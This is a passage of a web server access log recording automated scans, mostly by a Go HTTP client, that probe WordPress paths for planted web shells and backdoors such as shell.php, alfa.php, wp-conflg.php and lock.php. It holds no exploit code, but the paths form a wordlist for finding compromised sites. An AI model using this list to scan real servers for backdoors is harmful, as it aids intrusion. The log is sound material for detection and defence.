- [22/Feb/2026:07:16:31 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:35 +0300] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:39 +0300] "GET /update/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:44 +0300] "GET /wp-content/plugins/akismet/_inc/img/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:48 +0300] "GET /wp-includes/blocks/spacer/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:53 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:58 +0300] "GET /wp-includes/blocks/comments-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:16:58 +0300] "GET /wp-content/public_html/404.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:03 +0300] "GET /wp-content/languages/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:08 +0300] "GET /wp-content/plugins/wp-trackback.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:13 +0300] "GET /wp-content/languages/elish.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:18 +0300] "GET /wp-content/languages/enum.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:23 +0300] "GET /wp-includes/php-compat/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:26 +0300] "GET /wp-includes/interactivity-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:31 +0300] "GET /wp-includes/js/dist/script-modules/block-library/query/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:31 +0300] "GET /ALFA_DATA/wp-admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:36 +0300] "GET /wp-content/themes/popularfx/template-parts/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:36 +0300] "GET /about-cong.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:41 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:42 +0300] "GET /wp-content/plugins/Iitespeed-cache/157.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:46 +0300] "GET /wp-includes/ID3/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:51 +0300] "GET /wp-content/wp-rocket-config/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:56 +0300] "GET /wp-includes/css/dist/list-reusable-blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:56 +0300] "GET /wp-includes/blocks/audio/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:17:56 +0300] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:01 +0300] "GET /wp-includes/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:06 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 185.247.137.223 - - [22/Feb/2026:05:38:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)" 85.203.23.33 - - [22/Feb/2026:07:13:56 +0300] "GET /shelp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.7 - - [22/Feb/2026:07:14:11 +0300] "GET /wp-admin/user/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:11 +0300] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:16 +0300] "GET /wp-includes/pomo/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:19 +0300] "GET /wp-content/plugins/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:24 +0300] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:30 +0300] "GET /sama.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:34 +0300] "GET /wp-includes/SimplePie/library/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:39 +0300] "GET /wp-includes/js/tinymce/utils/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:39 +0300] "GET /wp-content/plugins/gosmtp/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:44 +0300] "GET /wp-includes/js/thickbox/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:44 +0300] "GET /wp-includes/blocks/file/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:45 +0300] "GET /wp-content/upgrade/plex1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:50 +0300] "GET /wp-content/upgrade/mlex.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:18:55 +0300] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:00 +0300] "GET /wp-includes/css/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:05 +0300] "GET /wp-admin/maint/Noname6.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:10 +0300] "GET /wp-admin/network/configYFW/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:15 +0300] "GET /wp-includes/js/tinymce/plugins/compat3x/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:20 +0300] "GET /wp-includes/Requests/src/Transport/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:25 +0300] "GET /wp-includes/Requests/src/Exception/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:29 +0300] "GET /wp-includes/blocks/page-list-item/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:34 +0300] "GET /wp-includes/blocks/post-navigation-link/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:38 +0300] "GET /wp-includes/css/dist/edit-site/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:43 +0300] "GET /wp-content/plugins/wordpress-seo/src/user-profiles-additions/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:48 +0300] "GET /wp-includes/js/dist/script-modules/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:53 +0300] "GET /wp-includes/theme-compat/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:19:58 +0300] "GET /wp-includes/blocks/tag-cloud/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:03 +0300] "GET /wp-content/upgrade/acxx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:08 +0300] "GET /newuser.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:12 +0300] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:17 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:22 +0300] "GET /wp-includes/assets/ty.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:28 +0300] "GET /wp-includes/js/dist/script-modules/block-library/file/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:28 +0300] "GET /wp-includes/blocks/post-date/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:28 +0300] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:33 +0300] "GET /wp-includes/js/dist/script-modules/block-library/form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:33 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:38 +0300] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:42 +0300] "GET /wp-includes/style-engine/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:47 +0300] "GET /wp-content/themes/twentytwentyfive/styles/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:47 +0300] "GET /wp-content/themes/twentytwentythree/assets/fonts/ibm-plex-mono/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:48 +0300] "GET /wp-includes/Requests/src/Auth/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:51 +0300] "GET /wp-content/plugins/filester/assets/css/cc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:20:55 +0300] "GET /wp-content/themes/modern/assets/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:00 +0300] "GET /wp-content/themes/modern/includes/setup/config-setup.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:05 +0300] "GET /wp-includes/Requests/src/Utility/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:10 +0300] "GET /wp-content/themes/wp-pridmag/22x.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:15 +0300] "GET /wp-content/wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:20 +0300] "GET /wp-content/files/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:25 +0300] "GET /wp-content/themes/theme-check/theme-check.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:29 +0300] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:30 +0300] "GET /wp-content/themes/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:35 +0300] "GET /wp-content/themes/cei-Biz/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:39 +0300] "GET /wp-content/languages/plugins/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:45 +0300] "GET /Mencintai.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:50 +0300] "GET /wp-admin/network/m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:54 +0300] "GET /wp-content/themes/bbn.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:21:57 +0300] "GET /wp-content/themes/twentytwenty/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:02 +0300] "GET /wp-content/plugins/easy-bootstrap-shortcode-pro/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:05 +0300] "GET /wp-content/plugins/really-simple-captcha/tmp/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:10 +0300] "GET /wp-content/plugins/w3-total-cache/inc/1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:15 +0300] "GET /wp-content/htdocs/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:20 +0300] "GET /wp-content/public/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:25 +0300] "GET /wp-content/web/shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:30 +0300] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:35 +0300] "GET /wp-content/plugins/wpai-woocommerce-add-on/models/import/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:38 +0300] "GET /wp-content/public_html/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:43 +0300] "GET /wp-content/themes/semplice4/assets/js/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:48 +0300] "GET /wp-content/themes/Divi/et-pagebuilder/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:51 +0300] "GET /wp-content/plugins/wp-file-manager/lib/sounds/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:22:56 +0300] "GET /img/portfolio/seton/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:01 +0300] "GET /img/portfolio/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:06 +0300] "GET /img/single/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:10 +0300] "GET /img/full/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:15 +0300] "GET /wp-content/plugins/wp-file-manager/classes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:20 +0300] "GET /wp-install.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:25 +0300] "GET /wp-includes/SimplePie/405.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:30 +0300] "GET /sql.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:34 +0300] "GET /wp-admin/js/widgets/service.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:37 +0300] "GET /wp-admin/js/widgets/nux.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:42 +0300] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:47 +0300] "GET /wp-content/plugin/3d-flipbook-dflip-lite/3d-flipbook-dflip-lite.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:51 +0300] "GET /wp-admin/network/sss.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:56 +0300] "GET /wp-content/plugin/advanced-custom-fields/acf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:23:58 +0300] "GET /wp-admin/js/buy.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:03 +0300] "GET /wp-content/themes/edit.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:08 +0300] "GET /wp-content/plugin/pngoptimazie.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:13 +0300] "GET /wp-admin/database.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:18 +0300] "GET /wp-admin/obfuscate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:22 +0300] "GET /wp-content/themes/mabar88/inc/assets/images/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:26 +0300] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:31 +0300] "GET /wp-content/themes/maxwin88/inc/metabox/extend-metabox/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:36 +0300] "GET /wp-includes/blocks/comment-content/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:41 +0300] "GET /wp-includes/rest-api/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:46 +0300] "GET /wp-includes/js/mediaelement/renderers/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:52 +0300] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:24:56 +0300] "GET /wp-includes/SimplePie/src/Decode/ahax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:00 +0300] "GET /wp-includes/assets/connects.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:05 +0300] "GET /wp-includes/theme-compat/alfa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:11 +0300] "GET /wp-admin/network/css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:14 +0300] "GET /wp-includes/block-bindings/hexa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:19 +0300] "GET /images/images/images/images/images/images/images/images/images/images/images/images/Contacts.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:21 +0300] "GET /wp-includes/js/tinymce/tag-cloud.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:26 +0300] "GET /wp-content/plugins/vpihdxu/wp-loader.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:31 +0300] "GET /wp-content/class-json.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:36 +0300] "GET /wp-includes/certificates/plugin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:41 +0300] "GET /images/images/images/images/images/images/images/images/images/images/images/images/Contacts.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:46 +0300] "GET /wp-content/plugins/essential-addons-for-elementor-lite/assets/front-end/css/lib-view/code-snippet/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:51 +0300] "GET /wp-includes/js/dist/script-modules/block-library/navigation/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:25:56 +0300] "GET /wp-content/plugins/quadmenu/assets/frontend/icons/fontawesome/css/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:01 +0300] "GET /wp-content/plugins/checkout-for-woocommerce/templates/glass/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:06 +0300] "GET /wp-content/ngg/modules/photocrati-nextgen_basic_imagebrowser/static/lock.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:11 +0300] "GET /wp-includes/class-wp-image-editor-gd-pic.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:16 +0300] "GET /wp-includes/block-bindings/connects.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:21 +0300] "GET /wp-admin/options-privacy-part.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:24 +0300] "GET /wp-includes/link-template-variable.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:29 +0300] "GET /wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/poisontalk.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:33 +0300] "GET /wp-content/plugins/wpfilemangersobject/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:38 +0300] "GET /wp-includes/blocks/media-text-double.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:41 +0300] "GET /wp-admin/includes/class-walker-category-checklist-hashing.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:46 +0300] "GET /wp-admin/link-manager-first.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:51 +0300] "GET /miansha.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:26:56 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:27:00 +0300] "GET /xax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:27:05 +0300] "GET /wp-content/plugins/nodeinfo/theme.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:27:09 +0300] "GET /wp-content/plugins/mainhosting/past.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:27:14 +0300] "GET /wp-includes/css/load.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:27:19 +0300] "GET /wp-includes/SimplePie/src/Decode/HTML/sitemaps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.43 - - [22/Feb/2026:07:27:24 +0300] "GET /wp-includes/SimplePie/library/SimplePie/Net/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 4.193.228.15 - - [22/Feb/2026:07:57:27 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:55 +0300] "GET /api.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:13 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:13 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:14 +0300] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:14 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:15 +0300] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:18 +0300] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:20 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:21 +0300] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:21 +0300] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:59:22 +0300] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:00 +0300] "GET /admin/admin.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:00:15 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:17 +0300] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:17 +0300] "GET /kyami.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:03:20 +0300] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:09 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:13 +0300] "GET /ab.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:17 +0300] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:17 +0300] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:18 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:20 +0300] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:21 +0300] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:21 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:21 +0300] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:22 +0300] "GET /fox.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:25 +0300] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:26 +0300] "GET /upload/login.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:08:05:29 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:00 +0300] "GET /about.php HTTP/1.1" 301 795 "-" "-" 4.193.228.15 - - [22/Feb/2026:07:58:15 +0300] "GET /system.php HTTP/1.1" 301 795 